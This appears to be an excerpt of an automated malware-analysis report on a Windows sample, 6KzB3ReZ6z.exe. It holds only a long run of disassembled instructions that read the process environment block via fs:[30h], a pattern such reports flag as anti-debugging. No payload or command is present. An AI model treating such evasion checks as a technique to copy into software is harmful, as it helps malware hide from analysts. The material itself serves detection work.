                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151035C mov eax, dword ptr fs:[00000030h]2_2_0151035C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151035C mov eax, dword ptr fs:[00000030h]2_2_0151035C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151035C mov ecx, dword ptr fs:[00000030h]2_2_0151035C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151035C mov eax, dword ptr fs:[00000030h]2_2_0151035C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151035C mov eax, dword ptr fs:[00000030h]2_2_0151035C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01512349 mov eax, dword ptr fs:[00000030h]2_2_01512349
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0156634F mov eax, dword ptr fs:[00000030h]2_2_0156634F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153437C mov eax, dword ptr fs:[00000030h]2_2_0153437C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA30B mov eax, dword ptr fs:[00000030h]2_2_014CA30B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA30B mov eax, dword ptr fs:[00000030h]2_2_014CA30B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA30B mov eax, dword ptr fs:[00000030h]2_2_014CA30B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148C310 mov ecx, dword ptr fs:[00000030h]2_2_0148C310
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B0310 mov ecx, dword ptr fs:[00000030h]2_2_014B0310
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01568324 mov eax, dword ptr fs:[00000030h]2_2_01568324
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01568324 mov ecx, dword ptr fs:[00000030h]2_2_01568324
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01568324 mov eax, dword ptr fs:[00000030h]2_2_01568324
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01568324 mov eax, dword ptr fs:[00000030h]2_2_01568324
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015343D4 mov eax, dword ptr fs:[00000030h]2_2_015343D4
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015343D4 mov eax, dword ptr fs:[00000030h]2_2_015343D4
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E3DB mov eax, dword ptr fs:[00000030h]2_2_0153E3DB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E3DB mov eax, dword ptr fs:[00000030h]2_2_0153E3DB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E3DB mov ecx, dword ptr fs:[00000030h]2_2_0153E3DB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E3DB mov eax, dword ptr fs:[00000030h]2_2_0153E3DB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A3C0 mov eax, dword ptr fs:[00000030h]2_2_0149A3C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A3C0 mov eax, dword ptr fs:[00000030h]2_2_0149A3C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A3C0 mov eax, dword ptr fs:[00000030h]2_2_0149A3C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A3C0 mov eax, dword ptr fs:[00000030h]2_2_0149A3C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A3C0 mov eax, dword ptr fs:[00000030h]2_2_0149A3C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A3C0 mov eax, dword ptr fs:[00000030h]2_2_0149A3C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014983C0 mov eax, dword ptr fs:[00000030h]2_2_014983C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014983C0 mov eax, dword ptr fs:[00000030h]2_2_014983C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014983C0 mov eax, dword ptr fs:[00000030h]2_2_014983C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014983C0 mov eax, dword ptr fs:[00000030h]2_2_014983C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015163C0 mov eax, dword ptr fs:[00000030h]2_2_015163C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154C3CD mov eax, dword ptr fs:[00000030h]2_2_0154C3CD
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A03E9 mov eax, dword ptr fs:[00000030h]2_2_014A03E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C63FF mov eax, dword ptr fs:[00000030h]2_2_014C63FF
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE3F0 mov eax, dword ptr fs:[00000030h]2_2_014AE3F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE3F0 mov eax, dword ptr fs:[00000030h]2_2_014AE3F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE3F0 mov eax, dword ptr fs:[00000030h]2_2_014AE3F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148E388 mov eax, dword ptr fs:[00000030h]2_2_0148E388
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148E388 mov eax, dword ptr fs:[00000030h]2_2_0148E388
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148E388 mov eax, dword ptr fs:[00000030h]2_2_0148E388
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B438F mov eax, dword ptr fs:[00000030h]2_2_014B438F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B438F mov eax, dword ptr fs:[00000030h]2_2_014B438F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01488397 mov eax, dword ptr fs:[00000030h]2_2_01488397
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01488397 mov eax, dword ptr fs:[00000030h]2_2_01488397
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01488397 mov eax, dword ptr fs:[00000030h]2_2_01488397
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154A250 mov eax, dword ptr fs:[00000030h]2_2_0154A250
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154A250 mov eax, dword ptr fs:[00000030h]2_2_0154A250
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0156625D mov eax, dword ptr fs:[00000030h]2_2_0156625D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496259 mov eax, dword ptr fs:[00000030h]2_2_01496259
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01518243 mov eax, dword ptr fs:[00000030h]2_2_01518243
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01518243 mov ecx, dword ptr fs:[00000030h]2_2_01518243
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148A250 mov eax, dword ptr fs:[00000030h]2_2_0148A250
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540274 mov eax, dword ptr fs:[00000030h]2_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148826B mov eax, dword ptr fs:[00000030h]2_2_0148826B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494260 mov eax, dword ptr fs:[00000030h]2_2_01494260
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494260 mov eax, dword ptr fs:[00000030h]2_2_01494260
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494260 mov eax, dword ptr fs:[00000030h]2_2_01494260
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148823B mov eax, dword ptr fs:[00000030h]2_2_0148823B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015662D6 mov eax, dword ptr fs:[00000030h]2_2_015662D6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A2C3 mov eax, dword ptr fs:[00000030h]2_2_0149A2C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A2C3 mov eax, dword ptr fs:[00000030h]2_2_0149A2C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A2C3 mov eax, dword ptr fs:[00000030h]2_2_0149A2C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A2C3 mov eax, dword ptr fs:[00000030h]2_2_0149A2C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A2C3 mov eax, dword ptr fs:[00000030h]2_2_0149A2C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A02E1 mov eax, dword ptr fs:[00000030h]2_2_014A02E1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A02E1 mov eax, dword ptr fs:[00000030h]2_2_014A02E1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A02E1 mov eax, dword ptr fs:[00000030h]2_2_014A02E1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE284 mov eax, dword ptr fs:[00000030h]2_2_014CE284
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE284 mov eax, dword ptr fs:[00000030h]2_2_014CE284
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01510283 mov eax, dword ptr fs:[00000030h]2_2_01510283
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01510283 mov eax, dword ptr fs:[00000030h]2_2_01510283
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01510283 mov eax, dword ptr fs:[00000030h]2_2_01510283
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A02A0 mov eax, dword ptr fs:[00000030h]2_2_014A02A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A02A0 mov eax, dword ptr fs:[00000030h]2_2_014A02A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015262A0 mov eax, dword ptr fs:[00000030h]2_2_015262A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015262A0 mov ecx, dword ptr fs:[00000030h]2_2_015262A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015262A0 mov eax, dword ptr fs:[00000030h]2_2_015262A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015262A0 mov eax, dword ptr fs:[00000030h]2_2_015262A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015262A0 mov eax, dword ptr fs:[00000030h]2_2_015262A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015262A0 mov eax, dword ptr fs:[00000030h]2_2_015262A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01498550 mov eax, dword ptr fs:[00000030h]2_2_01498550
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01498550 mov eax, dword ptr fs:[00000030h]2_2_01498550
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C656A mov eax, dword ptr fs:[00000030h]2_2_014C656A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C656A mov eax, dword ptr fs:[00000030h]2_2_014C656A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C656A mov eax, dword ptr fs:[00000030h]2_2_014C656A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01526500 mov eax, dword ptr fs:[00000030h]2_2_01526500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564500 mov eax, dword ptr fs:[00000030h]2_2_01564500
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE53E mov eax, dword ptr fs:[00000030h]2_2_014BE53E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE53E mov eax, dword ptr fs:[00000030h]2_2_014BE53E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE53E mov eax, dword ptr fs:[00000030h]2_2_014BE53E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE53E mov eax, dword ptr fs:[00000030h]2_2_014BE53E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE53E mov eax, dword ptr fs:[00000030h]2_2_014BE53E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0535 mov eax, dword ptr fs:[00000030h]2_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0535 mov eax, dword ptr fs:[00000030h]2_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0535 mov eax, dword ptr fs:[00000030h]2_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0535 mov eax, dword ptr fs:[00000030h]2_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0535 mov eax, dword ptr fs:[00000030h]2_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0535 mov eax, dword ptr fs:[00000030h]2_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE5CF mov eax, dword ptr fs:[00000030h]2_2_014CE5CF
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE5CF mov eax, dword ptr fs:[00000030h]2_2_014CE5CF
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014965D0 mov eax, dword ptr fs:[00000030h]2_2_014965D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA5D0 mov eax, dword ptr fs:[00000030h]2_2_014CA5D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA5D0 mov eax, dword ptr fs:[00000030h]2_2_014CA5D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC5ED mov eax, dword ptr fs:[00000030h]2_2_014CC5ED
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC5ED mov eax, dword ptr fs:[00000030h]2_2_014CC5ED
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014925E0 mov eax, dword ptr fs:[00000030h]2_2_014925E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE5E7 mov eax, dword ptr fs:[00000030h]2_2_014BE5E7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C4588 mov eax, dword ptr fs:[00000030h]2_2_014C4588
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01492582 mov eax, dword ptr fs:[00000030h]2_2_01492582
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01492582 mov ecx, dword ptr fs:[00000030h]2_2_01492582
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE59C mov eax, dword ptr fs:[00000030h]2_2_014CE59C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015105A7 mov eax, dword ptr fs:[00000030h]2_2_015105A7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015105A7 mov eax, dword ptr fs:[00000030h]2_2_015105A7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015105A7 mov eax, dword ptr fs:[00000030h]2_2_015105A7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B45B1 mov eax, dword ptr fs:[00000030h]2_2_014B45B1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B45B1 mov eax, dword ptr fs:[00000030h]2_2_014B45B1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154A456 mov eax, dword ptr fs:[00000030h]2_2_0154A456
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE443 mov eax, dword ptr fs:[00000030h]2_2_014CE443
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B245A mov eax, dword ptr fs:[00000030h]2_2_014B245A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148645D mov eax, dword ptr fs:[00000030h]2_2_0148645D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151C460 mov ecx, dword ptr fs:[00000030h]2_2_0151C460
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BA470 mov eax, dword ptr fs:[00000030h]2_2_014BA470
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BA470 mov eax, dword ptr fs:[00000030h]2_2_014BA470
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BA470 mov eax, dword ptr fs:[00000030h]2_2_014BA470
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C8402 mov eax, dword ptr fs:[00000030h]2_2_014C8402
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C8402 mov eax, dword ptr fs:[00000030h]2_2_014C8402
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C8402 mov eax, dword ptr fs:[00000030h]2_2_014C8402
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148E420 mov eax, dword ptr fs:[00000030h]2_2_0148E420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148E420 mov eax, dword ptr fs:[00000030h]2_2_0148E420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148E420 mov eax, dword ptr fs:[00000030h]2_2_0148E420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148C427 mov eax, dword ptr fs:[00000030h]2_2_0148C427
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516420 mov eax, dword ptr fs:[00000030h]2_2_01516420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA430 mov eax, dword ptr fs:[00000030h]2_2_014CA430
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014904E5 mov ecx, dword ptr fs:[00000030h]2_2_014904E5
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154A49A mov eax, dword ptr fs:[00000030h]2_2_0154A49A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151A4B0 mov eax, dword ptr fs:[00000030h]2_2_0151A4B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014964AB mov eax, dword ptr fs:[00000030h]2_2_014964AB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C44B0 mov ecx, dword ptr fs:[00000030h]2_2_014C44B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C674D mov esi, dword ptr fs:[00000030h]2_2_014C674D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C674D mov eax, dword ptr fs:[00000030h]2_2_014C674D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C674D mov eax, dword ptr fs:[00000030h]2_2_014C674D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01514755 mov eax, dword ptr fs:[00000030h]2_2_01514755
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151E75D mov eax, dword ptr fs:[00000030h]2_2_0151E75D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490750 mov eax, dword ptr fs:[00000030h]2_2_01490750
